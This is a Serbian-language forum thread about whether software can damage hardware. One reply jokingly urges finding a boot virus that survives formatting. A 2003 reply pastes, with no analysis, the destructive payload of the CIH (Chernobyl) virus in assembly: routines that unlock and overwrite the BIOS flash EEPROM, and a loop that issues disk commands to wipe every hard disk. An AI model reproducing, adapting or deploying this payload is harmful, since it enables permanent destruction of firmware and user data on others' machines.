Novo

Forum kao aplikacija na telefonu

Dodajte forum na početni ekran i koristite ga kao aplikaciju, sa menijem na dnu ekrana.

  • 23 odgovora
  • 7.877 pregleda

Najnovija ↓

Re: hardverska ostecenja 04.09.2001. u 21:53 · pre 306 meseci #21
NADJI TI DOBAR BOOT VIRUS, ONE PRAVE NI FORNATIRANJE NE MICE PA KUD CES CRNJE OD TOGA!!


Sto se ti ce ostecenja ja mislim da se javila neka fora sa overlokovanjem!!
Re: hardverska ostecenja 28.11.2003. u 12:56 · pre 279 meseci #22
Izvadjeno iz Cih v1.4 :

Code:

; ***************************
; * Kill BIOS EEPROM        *
; ***************************

            mov    bp, 0cf8h
            lea    esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in   *
; * 000E0000 - 000EFFFF *
; *    (   64 KB   )    *
; ***********************

            mov    edi, 8000384ch
            mov    dx, 0cfeh
            cli
            call    esi

; ***********************
; * Show BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************

            mov    di, 0058h
            dec    edx                    ; and al,0fh
            mov    word ptr (BooleanCalculateCode-@10)[esi], 0f24h
            call    esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E01FF *
; *   (   512 Bytes   ) *
; * , and the Section   *
; * of Extra BIOS can   *
; * be Writted...       *
; ***********************

            lea    ebx, EnableEEPROMToWrite-@10[esi]

            mov    eax, 0e5555h
            mov    ecx, 0e2aaah
            call    ebx
            mov    byte ptr [eax], 60h

            push    ecx
            loop    $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E007F *
; *   (   80h Bytes   ) *
; ***********************

            xor    ah, ah
            mov    [eax], al

            xchg    ecx, eax
            loop    $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data  *
; * 000E0000 - 000FFFFF *
; *   (   128 KB   )    *
; * can be Writted...   *
; ***********************

            mov    eax, 0f5555h
            pop    ecx
            mov    ch, 0aah
            call    ebx
            mov    byte ptr [eax], 20h

            loop    $

; ***********************
; * Kill the BIOS Main  *
; * ROM Data in Memory  *
; * 000FE000 - 000FE07F *
; *   (   80h Bytes   ) *
; ***********************

            mov    ah, 0e0h
            mov    [eax], al

; ***********************
; * Hide BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************
                                    ; or al,10h
            mov    word ptr (BooleanCalculateCode-@10)[esi], 100ch
            call    esi

; ***************************
; * Kill All HardDisk       *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs          *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
            xor    ebx, ebx
            mov    bh, FirstKillHardDiskNumber
            push    ebx
            sub    esp, 2ch
            push    0c0001000h
            mov    bh, 08h
            push    ebx
            push    ecx
            push    ecx
            push    ecx
            push    40000501h
            inc    ecx
            push    ecx
            push    ecx

            mov    esi, esp
            sub    esp, 0ach

LoopOfKillHardDisk:
            int    20h
            dd    00100004h    ; VXDCall IOS_SendCommand

            cmp    word ptr [esi+06h], 0017h
            je    KillNextDataSection

ChangeNextHardDisk:
            inc    byte ptr [esi+4dh]

            jmp    LoopOfKillHardDisk

KillNextDataSection:
            add    dword ptr [esi+10h], ebx
            mov    byte ptr [esi+4dh], FirstKillHardDiskNumber

            jmp    LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write  *
; ***************************

EnableEEPROMToWrite:
            mov    [eax], cl
            mov    [ecx], al
            mov    byte ptr [eax], 80h
            mov    [eax], cl
            mov    [ecx], al

            ret

; ***************************
; * IO for EEPROM           *
; ***************************

IOForEEPROM:
@10            =    IOForEEPROM

            xchg    eax, edi
            xchg    edx, ebp
            out    dx, eax

            xchg    eax, edi
            xchg    edx, ebp
            in    al, dx

BooleanCalculateCode    =    $
            or    al, 44h

            xchg    eax, edi
            xchg    edx, ebp
            out    dx, eax

            xchg    eax, edi
            xchg    edx, ebp
            out    dx, al

            ret
Odgovori
Prijavite se da biste odgovorili u ovoj temi.PrijavaRegistracija

Premeštanje teme